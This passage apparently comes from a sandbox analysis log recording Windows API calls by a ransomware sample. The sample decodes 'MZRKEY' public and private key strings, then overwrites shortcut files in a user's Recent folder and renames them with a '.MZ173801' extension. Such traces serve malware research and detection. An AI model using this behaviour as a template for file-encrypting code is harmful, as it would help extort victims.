lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x25380cc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.972] GetCurrentThreadId () returned 0xab4 [0146.972] GetCurrentThreadId () returned 0xab4 [0146.972] GetCurrentThreadId () returned 0xab4 [0146.972] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4DOO7h9IdbHgOJ L.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4doo7h9idbhgoj l.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.972] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.972] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.972] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x496 [0146.972] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.972] ReadFile (in: hFile=0x280, lpBuffer=0x253fed0, nNumberOfBytesToRead=0x496, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesRead=0x19fa18*=0x496, lpOverlapped=0x0) returned 1 [0146.973] CloseHandle (hObject=0x280) returned 1 [0146.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4DOO7h9IdbHgOJ L.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4doo7h9idbhgoj l.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.974] WriteFile (in: hFile=0x280, lpBuffer=0x2541f00*, nNumberOfBytesToWrite=0x496, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2541f00*, lpNumberOfBytesWritten=0x19fa24*=0x496, lpOverlapped=0x0) returned 1 [0146.975] CloseHandle (hObject=0x280) returned 1 [0146.976] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4DOO7h9IdbHgOJ L.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4doo7h9idbhgoj l.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4DOO7h9IdbHgOJ L.flv.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4doo7h9idbhgoj l.flv.lnk.mz173801")) returned 1 [0146.976] GetCurrentThreadId () returned 0xab4 [0146.976] GetCurrentThreadId () returned 0xab4 [0146.976] GetCurrentThreadId () returned 0xab4 [0146.976] GetCurrentThreadId () returned 0xab4 [0146.976] GetCurrentThreadId () returned 0xab4 [0146.976] GetCurrentThreadId () returned 0xab4 [0146.976] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x696d60ff, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x696d60ff, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x696d60ff, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4NRYueZu34oKrb1iEn.lnk", cAlternateFileName="4NRYUE~1.LNK")) returned 1 [0146.976] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.976] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4NRYueZu34oKrb1iEn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4nryuezu34okrb1ien.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x696d60ff, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x696d60ff, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x696d60ff, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4ff)) returned 1 [0146.977] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4NRYueZu34oKrb1iEn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4nryuezu34okrb1ien.lnk")) returned 0x20 [0146.977] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4NRYueZu34oKrb1iEn.lnk", dwFileAttributes=0x80) returned 1 [0146.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.978] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.979] GetCurrentThreadId () returned 0xab4 [0146.979] GetCurrentThreadId () returned 0xab4 [0146.979] GetCurrentThreadId () returned 0xab4 [0146.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.980] GetCurrentThreadId () returned 0xab4 [0146.980] GetCurrentThreadId () returned 0xab4 [0146.980] GetCurrentThreadId () returned 0xab4 [0146.980] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4NRYueZu34oKrb1iEn.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4nryuezu34okrb1ien.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.980] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 